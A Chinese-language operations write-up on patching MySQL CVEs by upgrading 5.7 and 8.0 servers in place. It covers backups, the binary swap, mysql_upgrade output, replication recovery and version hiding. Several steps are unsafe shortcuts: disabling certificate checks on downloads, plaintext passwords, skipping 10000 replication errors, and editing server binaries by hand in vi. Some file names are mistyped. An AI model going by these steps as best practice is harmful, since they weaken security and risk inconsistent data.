一、背景
某次安全漏掃，發(fā)現MySQL大量漏洞，基于Mysql之用于內網，且版本確實有點舊，考慮升級，綜合漏洞分析，只能升級到最新版5.7.42和8.0.33，現場環(huán)境：Mysql 5.7.28、5.7.20 和mysql：8.0.21
| 漏洞編號 | 漏洞描述 |
|---|---|
| CVE-2023-21912 | MySQL 5.7.41 版本及之前版本和 8.0.30 版本及之前版本的 Server: Security: Privileges 組件存在安全漏洞 |
| CVE-2022-37434 | MySQL 5.7.41版本及之前版本和 8.0.31 版本及之前版本的 Server: InnoDB (zlib)組件存在安全漏洞 |
| CVE-2022-32221 | MySQL Server 5.7.40及之前版本的Server: Packaging (cURL)組件內不正確的輸入驗證。 |
| CVE-2023-21980 | MySQL 5.7.41 版本及之前版本和 8.0.32 版本及之前版本的 Client programs 組件存在安全漏洞； |
| CVE-2022-43551 | MySQL 5.7.41 版本及之前版本和 8.0.32 版本及之前版本的 Server: Server: Packaging (cURL) 組件存在安全漏洞 |
附錄：mysql5.7和mysql8.0區(qū)別、mysql 8手冊、版本說明、mysql5.7手冊、阿里云漏洞庫
二、升級處理
1）升級方式選擇，Mysql的兩種升級方式：
1、就地升級（In-place Upgrade）
關閉舊版本mysql，用新的替換舊的二進制文件或軟件包，在現有數據目錄上重啟數據庫，執(zhí)行mysql_upgrade
特點：不改變數據文件，升級速度快；但，不可以跨操作系統，不可以跨大版本（5.5—>5.7）.
2、邏輯升級（Logical Upgrade）
使用備份或導出實用程序（如mysqldump，Xtrabackup）從舊mysql實例導出SQL ，安裝新的mysql數據庫版本，再將SQL應用于新的mysql實例。
特點：可以跨操作系統，跨大版本；但，升級速度慢，容易出現亂碼等兼容性問題。
本案中采用方法1升級替換，更多參考：Mysql 5.7 二進制方式安裝
2）升級前準備
參考文檔：Mysql8升級前準備、Mysql5.7升級、介質。
#rpm包方式：官方推薦解壓后yum安裝：yum install mysql-community-{server,client,common,libs}-*
wget --no-check-certificate https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.42-1.el7.x86_64.rpm-bundle.tar
#二進制包方式：因我們本次采用源碼包編譯安裝后替代二進制文件方式，舊的版本也是基于glibc2.12的
wget --no-check-certificate https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-57.42-linux-glibc2.12-x86 64.tar.gz
#合法性驗證
md5sum mysql-5.7.42-1.el7.x86_64.rpm-bundle.tar //輸出ea9b44d306dcf6e74a4b4832a0a700e3
md5sum mysql-57.42-linux-glibc2.12-x86 64.tar.gz//輸出c00530249e4bf6899d1fbf6d3fed4897
#備份
tar -czf mysql_all.20230621.tar.gz ./mysql
#不鎖表備份
./mysql/bin/mysqldump -u root -p --databases db1 db2 --single-transaction > /opt/mysql_db_bak/mysql_`date +%Y%m%d`.sql #或--all-databases
#現場，-F 生產新的binlog(--flush-logs)，--no-data指導表結構，
./mysql/bin/mysqldump -u root -p --databases spms xxl-job behavior_sur cr_debug interview --skip-add-drop-table --single-transaction > /opt/mysql_db_bak/mysql_`date +%Y%m%d`
#排除某些庫，導出語句中不輸出drop table,create table
mysql -uroot -p'mysql' -N -e "show databases;"|grep -Ev "information_schema|performance_schema|sys|mysql|database1"|xargs mysqldump -uroot -p'123456' --no-create-info --databases > /opt/mysql_db_bak/mysql_`date +%Y%m%d`|gzip >./mysql_`date +%Y%m%d`.sql.gz
#導出后直接導入slave,-C:啟用壓縮傳遞
mysqldump --host=master -uroot -p'123456' -C --all-databases |mysql --host=slave -uroot -p'123456'
#其他
mysqldump -uroot -p --all-databases --all-tablespaces //導出全部表空間
mysqldump -uroot -p --all-databases --no-tablespaces --add-drop-database //每個數據庫創(chuàng)建之前添加drop數據庫語句
mysqldump -uroot -p --all-databases --add-drop-database --add-drop-table 、、每個數據表創(chuàng)建之前添加drop數據表語句。(默認為打開狀態(tài)，使用--skip-add-drop-table取消選項)
mysqldump -uroot -p --all-databases --skip-add-drop-table //取消drop語句
mysqldump -uroot -p --host=localhost --all-databases --no-create-db //或-n,只導出數據，而不添加CREATE DATABASE 語句
mysqldump -uroot -p --host=localhost --all-databases --no-create-info //-t,只導出數據，而不添加CREATE TABLE 語句
3）關閉mysql，替換二進制進行就地升級（不涉及跨大版本問題）
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Wed 2023-04-19 23:25:30 CST; 2 months 2 days ago
Docs: man:systemd-sysv-generator(8)
Process: 2751 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
├─2764 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
└─3108 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin ...
Apr 19 23:25:29 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Apr 19 23:25:30 zq-mysql-master mysqld[2751]: Starting MySQL. SUCCESS!
Apr 19 23:25:30 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#如果沒有創(chuàng)建服務，可登錄后配置MySQL緩慢關停
mysql -u root -p
mysql> select @@innodb_fast_shutdown;
mysql> SET GLOBAL innodb_fast_shutdown=0;
#或直接，緩慢關閉服務的作用：關閉時，InnoDB會在關閉前執(zhí)行完全purge和變化的緩沖區(qū)合并，以確保在版本之間出現文件格式差異時，data files已做好準備。
mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
mysqladmin -u root -p shutdown
#或者重新創(chuàng)建個
cp /usr/local/mysql/support-files/mysql.server /etc/rc.d/init.d/
chmod +x /etc/init.d/mysql.server
chkconfig --add mysql.server
chkconfig --list
systemctl stop mysqld
systemctl status mysqld #驗證
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: inactive (dead) since Thu 2023-06-22 12:06:28 CST; 1min 17s ago
Docs: man:systemd-sysv-generator(8)
Process: 23685 ExecStop=/etc/rc.d/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 2751 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
Apr 19 23:25:29 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Apr 19 23:25:30 zq-mysql-master mysqld[2751]: Starting MySQL. SUCCESS!
Apr 19 23:25:30 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
Jun 22 12:06:16 zq-mysql-master systemd[1]: Stopping LSB: start and stop MySQL...
Jun 22 12:06:28 zq-mysql-master mysqld[23685]: Shutting down MySQL............ SUCCESS!
Jun 22 12:06:28 zq-mysql-master systemd[1]: Stopped LSB: start and stop MySQL.
ps aux|grep mysql
#解壓二進制包替換舊mysql
tar -xzf mysql-57.42-linux-glibc2.12-x86 64.tar.gz
mv mysql-5.7.42-linux-glibc2.12-x86_64 mysql-5.7.42
cd mysql-5.7.42
ls //
bin docs include lib LICENSE man README share support-files
#遷移mysql 5.7.42 到原mysql安裝目錄，比較權限
root@zq-mysql-master local]# ll ./mysql_old/
total 56
drwxr-x--- 2 mysql mysql 4096 Sep 18 2019 bin
-rw-r--r-- 1 mysql mysql 17987 Sep 13 2017 COPYING
drwxr-x--- 10 mysql mysql 4096 Jun 22 12:06 data
drwxr-x--- 2 mysql mysql 4096 Sep 18 2019 docs
drwxr-x--- 3 mysql mysql 4096 Sep 18 2019 include
drwxr-x--- 5 mysql mysql 4096 Sep 18 2019 lib
drwxr-x--- 4 mysql mysql 4096 Sep 18 2019 man
-rw-r--r-- 1 mysql mysql 2478 Sep 13 2017 README
drwxr-x--- 28 mysql mysql 4096 Sep 18 2019 share
drwxr-x--- 2 mysql mysql 4096 Sep 18 2019 support-files
[root@zq-mysql-master local]# ll ./mysql-5.7.42/
total 284
drwxr-xr-x 2 root root 4096 Jun 22 12:10 bin
drwxr-xr-x 2 root root 4096 Jun 22 12:10 docs
drwxr-xr-x 3 root root 4096 Jun 22 12:10 include
drwxr-xr-x 5 root root 4096 Jun 22 12:10 lib
-rw-r--r-- 1 7161 31415 255738 Mar 16 23:25 LICENSE
drwxr-xr-x 4 root root 4096 Jun 22 12:10 man
-rw-r--r-- 1 7161 31415 566 Mar 16 23:25 README
drwxr-xr-x 28 root root 4096 Jun 22 12:10 share
drwxr-xr-x 2 root root 4096 Jun 22 12:10 support-files
#授權后遷移data過去到新目錄
chown mysql.mysql -R ./mysql-5.7.42/
cp -pr ./mysql_old/data ./mysql-5.7.42/
ll ./mysql-5.7.42/
total 288
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin
drwxr-x--- 10 mysql mysql 4096 Jun 22 12:06 data
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 docs
drwxr-xr-x 3 mysql mysql 4096 Jun 22 12:10 include
drwxr-xr-x 5 mysql mysql 4096 Jun 22 12:10 lib
-rw-r--r-- 1 mysql mysql 255738 Mar 16 23:25 LICENSE
drwxr-xr-x 4 mysql mysql 4096 Jun 22 12:10 man
-rw-r--r-- 1 mysql mysql 566 Mar 16 23:25 README
drwxr-xr-x 28 mysql mysql 4096 Jun 22 12:10 share
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 support-files
#重新啟動mysql
systemctl start mysqld
systemctl status mysqld //報錯如下
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (exited) since Thu 2023-06-22 12:20:11 CST; 31s ago
Docs: man:systemd-sysv-generator(8)
Process: 23685 ExecStop=/etc/rc.d/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 24001 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
Jun 22 12:20:11 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: /etc/rc.d/init.d/mysqld: line 239: my_print_defaults: command not found
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: /etc/rc.d/init.d/mysqld: line 259: cd: /usr/local/mysql: No such file or directory
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: Starting MySQL ERROR! Couldn't find MySQL server (/usr/local/mysql/bin/mysqld_safe)
Jun 22 12:20:11 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#報錯：
Jun 22 12:34:37 zq-mysql-master polkitd[2119]: Unregistered Authentication Agent for unix-process:24772:549123771 (system bus name :1.2
Jun 22 12:34:37 zq-mysql-master systemd[1]: Unit mysqld.service entered failed state.
Jun 22 12:34:37 zq-mysql-master systemd[1]: mysqld.service failed.
Jun 22 12:36:38 zq-mysql-master polkitd[2119]: Registered Authentication Agent for unix-process:25185:549135938 (system bus name :1.203
Jun 22 12:36:38 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
-- Subject: Unit mysqld.service has begun start-up
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit mysqld.service has begun starting up.
Jun 22 12:36:39 zq-mysql-master mysqld[25191]: Starting MySQL. ERROR! The server quit without updating PID file (/var/run/mysqld/mysqld
Jun 22 12:36:39 zq-mysql-master systemd[1]: mysqld.service: control process exited, code=exited status=1
Jun 22 12:36:39 zq-mysql-master systemd[1]: Failed to start LSB: start and stop MySQL.
#用以下命令重新啟動，注意mysql目錄是750的權限，否則會報：mysqld_safe mysqld from pid file /var/run/mysqld/mysql
./bin/mysqld_safe --user=mysql --datadir=/usr/local/mysql/data &
#檢查數據庫所有表是否與當前版本兼容，并更新系統庫
./bin/mysql_upgrade -u root -p //更新數據庫表，它會檢查所有數據庫中的所有表是否與當前版本的MySQL不兼容。mysqlupgrade還回升級了mysql系統數據庫，以便可以利用新的權限或功能。注意：它不會升級時區(qū)表或幫助表的內容。
Enter password:
Checking if update is needed.
Checking server version.
Running queries to upgrade MySQL server.
Checking system database.
mysql.columns_priv OK
mysql.db OK
mysql.engine_cost OK
mysql.event OK
mysql.func OK
……
mysql.user OK
Found outdated sys schema version 1.5.1.
Upgrading the sys schema.
Checking databases.
cr_debug.breakpoints OK
cr_debug.callstack OK
cr_debug.debuggings OK
cr_debug.info OK
cr_debug.watches OK
interview.act_evt_log OK
interview.act_ge_bytearray OK
interview.act_ge_property OK
interview.act_hi_actinst OK
interview.act_hi_attachment OK
interview.act_hi_comment OK
interview.act_hi_detail OK
interview.act_hi_identitylink OK
interview.act_hi_procinst OK
interview.act_hi_taskinst OK
interview.act_hi_varinst OK
interview.act_id_group OK
interview.act_id_info OK
interview.act_id_membership OK
interview.act_id_user OK
interview.act_procdef_info OK
interview.act_re_deployment OK
interview.act_re_model OK
interview.act_re_procdef OK
interview.act_ru_event_subscr OK
interview.act_ru_execution OK
interview.act_ru_identitylink OK
interview.act_ru_job OK
interview.act_ru_task OK
interview.act_ru_variable OK
interview.area OK
interview.bid_video_meeting OK
interview.judges OK
interview.judges_meeting OK
interview.notice_staff OK
interview.organization OK
interview.package_video OK
interview.staff OK
interview.sys_captcha OK
interview.sys_config OK
interview.sys_dictionary OK
interview.sys_log OK
interview.sys_menu OK
interview.sys_role OK
interview.sys_role_menu OK
interview.sys_sms OK
interview.sys_user OK
interview.sys_user_role OK
interview.sys_user_token OK
spms.act_evt_log OK
spms.act_ge_bytearray OK
spms.act_ge_property OK
spms.act_hi_actinst OK
spms.act_hi_attachment OK
spms.act_hi_comment OK
spms.act_hi_detail OK
spms.act_hi_identitylink OK
spms.act_hi_procinst OK
spms.act_hi_taskinst OK
spms.act_hi_varinst OK
spms.act_id_group OK
spms.act_id_info OK
spms.act_id_membership OK
spms.act_id_user OK
spms.act_procdef_info OK
spms.act_re_deployment OK
spms.act_re_model OK
spms.act_re_procdef OK
spms.act_ru_event_subscr OK
spms.act_ru_execution OK
spms.act_ru_identitylink OK
spms.act_ru_job OK
spms.act_ru_task OK
spms.act_ru_variable OK
spms.agency_score OK
spms.apply OK
spms.approve_record OK
spms.area OK
spms.bid_video_meeting OK
spms.bidding_agency OK
spms.bidding_agency_copy OK
spms.bidding_agency_staff OK
spms.bidding_agency_staff_copy OK
spms.desktop_para OK
spms.es_config OK
spms.es_project OK
spms.i_sys_user OK
spms.imp_exp_temp OK
spms.imp_exp_temp_comp OK
spms.judges OK
spms.judges_meeting OK
spms.meeting_room OK
spms.meeting_room_20220315 OK
spms.meeting_room_20220323 OK
spms.meeting_room_20220324 OK
spms.meeting_room_device OK
spms.meeting_room_device_20220315 OK
spms.meeting_room_device_20220323 OK
spms.meeting_room_device_20220324 OK
spms.meeting_room_device_20220830 OK
spms.meeting_room_device_copy1 OK
spms.meeting_room_redistribution OK
spms.meeting_room_staff OK
spms.meeting_room_staff_20220315 OK
spms.meeting_room_staff_20220323 OK
spms.meeting_room_staff_20220324 OK
spms.notice OK
spms.notice_staff OK
spms.online_cloud_user OK
spms.online_desktop_user OK
spms.online_meeting_room OK
spms.online_meeting_room_record OK
spms.online_sys_user OK
spms.org_bidding_agency OK
spms.organization OK
spms.organization_20190822 OK
spms.organization_20201105 OK
spms.organization_20211125 OK
spms.package_appointment OK
spms.package_appointment_20221015 OK
spms.package_document OK
spms.package_document_bak OK
spms.package_eva_content_record OK
spms.package_evaluate_record OK
spms.package_expert_extract OK
spms.package_expert_scr_record OK
spms.package_expert_signature OK
spms.package_expert_signature_step OK
spms.package_monitor_data OK
spms.package_monitor_data_20221018 OK
spms.package_monitor_data_copy OK
spms.package_supplier OK
spms.package_video OK
spms.package_video_20221015 OK
spms.package_video_202210151414 OK
spms.pdman_db_version OK
spms.post OK
spms.project OK
spms.project_20220322 OK
spms.project_20220505 OK
spms.project_20220816 OK
spms.project_bidding_agency OK
spms.project_borrow OK
spms.project_check OK
spms.project_log OK
spms.project_meeting_room OK
spms.project_package OK
spms.project_package_abort OK
spms.project_tender OK
spms.project_tender_20220322 OK
spms.project_tender_20220513 OK
spms.push_project_video_record OK
spms.qrtz_blob_triggers OK
spms.qrtz_calendars OK
spms.qrtz_cron_triggers OK
spms.qrtz_fired_triggers OK
spms.qrtz_job_details OK
spms.qrtz_locks OK
spms.qrtz_paused_trigger_grps OK
spms.qrtz_scheduler_state OK
spms.qrtz_simple_triggers OK
spms.qrtz_simprop_triggers OK
spms.qrtz_triggers OK
spms.rpt_meeting_room_build OK
spms.rpt_project_package_bid OK
spms.schedule_job OK
spms.schedule_job_log OK
spms.staff OK
spms.staff_copy1 OK
spms.step OK
spms.step_post OK
spms.step_post_staff OK
spms.sys_captcha OK
spms.sys_config OK
spms.sys_dictionary OK
spms.sys_dictionary_bak1223 OK
spms.sys_log OK
spms.sys_log_2022 OK
spms.sys_menu OK
spms.sys_menu_20190802 OK
spms.sys_menu_copy1 OK
spms.sys_notice OK
spms.sys_operate OK
spms.sys_role OK
spms.sys_role_menu OK
spms.sys_sms OK
spms.sys_user OK
spms.sys_user_password OK
spms.sys_user_role OK
spms.sys_user_role_copy OK
spms.sys_user_token OK
spms.tb_user OK
spms.tender_bidding_agency OK
spms.tmp_project OK
spms.tmp_screen_rec OK
spms.upload_log OK
spms.wo OK
spms.wo_recorder OK
sys.sys_config OK
xxl-job.xxl_job_qrtz_blob_triggers OK
xxl-job.xxl_job_qrtz_calendars OK
xxl-job.xxl_job_qrtz_cron_triggers OK
xxl-job.xxl_job_qrtz_fired_triggers OK
xxl-job.xxl_job_qrtz_job_details OK
xxl-job.xxl_job_qrtz_locks OK
xxl-job.xxl_job_qrtz_paused_trigger_grps OK
xxl-job.xxl_job_qrtz_scheduler_state OK
xxl-job.xxl_job_qrtz_simple_triggers OK
xxl-job.xxl_job_qrtz_simprop_triggers OK
xxl-job.xxl_job_qrtz_trigger_group OK
xxl-job.xxl_job_qrtz_trigger_info OK
xxl-job.xxl_job_qrtz_trigger_log OK
xxl-job.xxl_job_qrtz_trigger_logglue OK
xxl-job.xxl_job_qrtz_trigger_registry OK
xxl-job.xxl_job_qrtz_triggers OK
Upgrade process completed successfully.
Checking if update is needed.
#重啟mysql應用升級，使其生效
./bin/mysqladmin -u root -p shutdown
./bin/mysqld_safe --user=mysql --datadir=/path/to/existing-datadir &
//或
systemctl start mysqld
//驗證
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Thu 2023-06-22 13:35:38 CST; 6s ago
Docs: man:systemd-sysv-generator(8)
Process: 2653 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
├─2666 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local...
└─3010 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --data...
Jun 22 13:35:37 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:35:38 zq-mysql-master mysqld[2653]: Starting MySQL. SUCCESS!
Jun 22 13:35:38 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
Hint: Some lines were ellipsized, use -l to show in full.
//版本驗證
mysql -V //輸出如下
mysql Ver 14.14 Distrib 5.7.42, for linux-glibc2.12 (x86_64) using EditLine wrapper
3）備庫升級
//主庫升級后鎖定
mysql> flush tables with read lock;
/bin/mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
/bin/mysqladmin -u root -p shutdown
chown -R mysql.mysql ./mysql-5.7.42/
chmod 750 ./mysql-5.7.42/
mv mysql-5.7.42 mysql
cd mysql
ll //驗證
#同上
./bin/mysqld_safe --user=mysql --datadir=/usr/local/mysql/data &
./bin/mysql_upgrade -u root -p
./bin/mysqladmin -u root -p shutdown
ps aux|grep mysqld
systemctl start mysqld
systemctl status mysqld
mysql -V //輸出如下
mysql Ver 14.14 Distrib 5.7.42, for linux-glibc2.12 (x86_64) using EditLine wrapper
4）主從一致性恢復
//master上確認
mysql> show master status;
+-------------------+----------+--------------+------------------+-------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+-------------------+----------+--------------+------------------+-------------------+
| master-bin.000053 | 80656 | | | |
+-------------------+----------+--------------+------------------+-------------------+
1 row in set (0.01 sec)
//從庫上確定讀位置
ysql> show slave status\G
*************************** 1. row ***************************
Slave_IO_State:
Master_Host: 172.10.x.x
Master_User: repl
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: master-bin.000052
Read_Master_Log_Pos: 59086
Relay_Log_File: slave-relay-bin.000022
Relay_Log_Pos: 122301
Relay_Master_Log_File: master-bin.000051
Slave_IO_Running: No
Slave_SQL_Running: No
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 1032
Last_Error: Could not execute Update_rows event on table mysql.user; Can't find record in 'user', Error_code: 1032; handler error HA_ERR_KEY_NOT_FOUND; the event's master log master-bin.000051, end_log_pos 123294
//從庫上修改讀上述Pos
mysql> change master to master_host = '172.16.1.2', master_user = 'repl', master_port=3306, master_password='12345', master_log_file = 'master-bin.000053', master_log_pos=101990;
#如果repl密碼忘記，執(zhí)行如下
mysql> update mysql.user set authentication_string = password ('newpasswd') where user = 'repl' and host = '172.16.1.%';
mysql> flush privileges
//一般如果主從同步差別不大的話可跳過錯誤內容，數據量不大的可重新導入
mysql> set global sql_slave_skip_counter =10000;
mysql> show slave status\G
//待從連接主同步正常后，master上解鎖表
mysql> unlock tables;
//觀察一段時間，主從正常后，頁面驗證業(yè)務即可
三、其他加固處理
1）可以獲取到MySQL/MariaDB/Percona/TiDB Server版本信息，版本泄露，隱藏版本即可
mysql> select version();
#或
telnet mysql_server_ip 3306
#或
nmap -T4 -sC -sV -p 3306 mysql_server_ip #yum -y install wget telnet nmap net-tools
#備份mysql二進制文件
cp /usr/bin/mysql /usr/bin/mysql.bakcp /usr/sbin/mysqld /usr/sbin/mysqld.bak
#編輯修改二進制文件中版本信息；注意：版本號不可為空或刪減其他信息，否則可能導致服務無法啟用！
vi /usr/bin/mysql #客戶端側，搜索關鍵字“Linux或Linux”快速定位，修改版本號，建議改為官網最新的穩(wěn)定版本
vi /usr/bin/mysqld #服務側，搜索關鍵字“--language”快速定位，修改版本號
#完成后，重啟服務驗證
2）mysql 8.0和5.7 架構區(qū)別
四、Mysql 8.0.21升級到8.0.33
mysql -V #
mysql Ver 8.0.21 for Linux on x86_64 (MySQL Community Server - GPL)
#Upgrading MySQL with Directly-Downloaded RPM Packages
wget https://cdn.mysql.com//Downloads/MySQL-8.0/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar
tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar //如下
mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar
mysql-community-client-8.0.33-1.el7.x86_64.rpm
mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm
mysql-community-common-8.0.33-1.el7.x86_64.rpm
mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm
mysql-community-devel-8.0.33-1.el7.x86_64.rpm
mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm
mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm
mysql-community-libs-8.0.33-1.el7.x86_64.rpm
mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm
mysql-community-server-8.0.33-1.el7.x86_64.rpm
mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm
mysql-community-test-8.0.33-1.el7.x86_64.rpm
#安裝，官方推薦用yum，而非rpm -Uvh
#yum localinstall mysql-community-{server,client,common,libs}-*
yum localinstall mysql-community-*
Loaded plugins: auto-update-debuginfo, fastestmirror, versionlock
Repository base is listed more than once in the configuration
Repository updates is listed more than once in the configuration
Repository extras is listed more than once in the configuration
Repository centosplus is listed more than once in the configuration
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
Examining mysql-community-client-8.0.33-1.el7.x86_64.rpm: mysql-community-client-8.0.33-1.el7.x86_64
Marking mysql-community-client-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-client-8.0.21-1.el7.x86_64
Examining mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm: mysql-community-client-plugins-8.0.33-1.el7.x86_64
Marking mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-common-8.0.33-1.el7.x86_64.rpm: mysql-community-common-8.0.33-1.el7.x86_64
Marking mysql-community-common-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-common-8.0.21-1.el7.x86_64
Examining mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm: mysql-community-debuginfo-8.0.33-1.el7.x86_64
Marking mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-devel-8.0.33-1.el7.x86_64.rpm: mysql-community-devel-8.0.33-1.el7.x86_64
Marking mysql-community-devel-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-devel-8.0.21-1.el7.x86_64
Examining mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm: mysql-community-embedded-compat-8.0.33-1.el7.x86_64
Marking mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-embedded-compat-8.0.21-1.el7.x86_64
Examining mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm: mysql-community-icu-data-files-8.0.33-1.el7.x86_64
Marking mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-libs-8.0.33-1.el7.x86_64.rpm: mysql-community-libs-8.0.33-1.el7.x86_64
Marking mysql-community-libs-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-libs-8.0.21-1.el7.x86_64
Examining mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm: mysql-community-libs-compat-8.0.33-1.el7.x86_64
Marking mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-libs-compat-8.0.21-1.el7.x86_64
Examining mysql-community-server-8.0.33-1.el7.x86_64.rpm: mysql-community-server-8.0.33-1.el7.x86_64
Marking mysql-community-server-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-server-8.0.21-1.el7.x86_64
Examining mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm: mysql-community-server-debug-8.0.33-1.el7.x86_64
Marking mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-test-8.0.33-1.el7.x86_64.rpm: mysql-community-test-8.0.33-1.el7.x86_64
Marking mysql-community-test-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-test-8.0.21-1.el7.x86_64
Resolving Dependencies
--> Running transaction check
---> Package mysql-community-client.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-client.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-client-plugins.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-common.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-common.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-debuginfo.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-devel.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-devel.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-embedded-compat.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-embedded-compat.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-icu-data-files.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-libs.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-libs.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-libs-compat.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-libs-compat.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-server.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-server.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-server-debug.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-test.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-test.x86_64 0:8.0.33-1.el7 will be an update
--> Finished Dependency Resolution
Dependencies Resolved
================================================================================================
Package Arch Version Repository Size
================================================================================================
Installing:
mysql-community-client-plugins
x86_64 8.0.33-1.el7 /mysql-community-client-plugins-8.0.33-1.el7.x86_64 20 M
mysql-community-debuginfo
x86_64 8.0.33-1.el7 /mysql-community-debuginfo-8.0.33-1.el7.x86_64 2.5 G
mysql-community-icu-data-files
x86_64 8.0.33-1.el7 /mysql-community-icu-data-files-8.0.33-1.el7.x86_64 3.5 M
mysql-community-server-debug
x86_64 8.0.33-1.el7 /mysql-community-server-debug-8.0.33-1.el7.x86_64 120 M
Updating:
mysql-community-client
x86_64 8.0.33-1.el7 /mysql-community-client-8.0.33-1.el7.x86_64 80 M
mysql-community-common
x86_64 8.0.33-1.el7 /mysql-community-common-8.0.33-1.el7.x86_64 10 M
mysql-community-devel
x86_64 8.0.33-1.el7 /mysql-community-devel-8.0.33-1.el7.x86_64 10 M
mysql-community-embedded-compat
x86_64 8.0.33-1.el7 /mysql-community-embedded-compat-8.0.33-1.el7.x86_64 17 M
mysql-community-libs
x86_64 8.0.33-1.el7 /mysql-community-libs-8.0.33-1.el7.x86_64 7.6 M
mysql-community-libs-compat
x86_64 8.0.33-1.el7 /mysql-community-libs-compat-8.0.33-1.el7.x86_64 3.7 M
mysql-community-server
x86_64 8.0.33-1.el7 /mysql-community-server-8.0.33-1.el7.x86_64 295 M
mysql-community-test
x86_64 8.0.33-1.el7 /mysql-community-test-8.0.33-1.el7.x86_64 755 M
Transaction Summary
================================================================================================
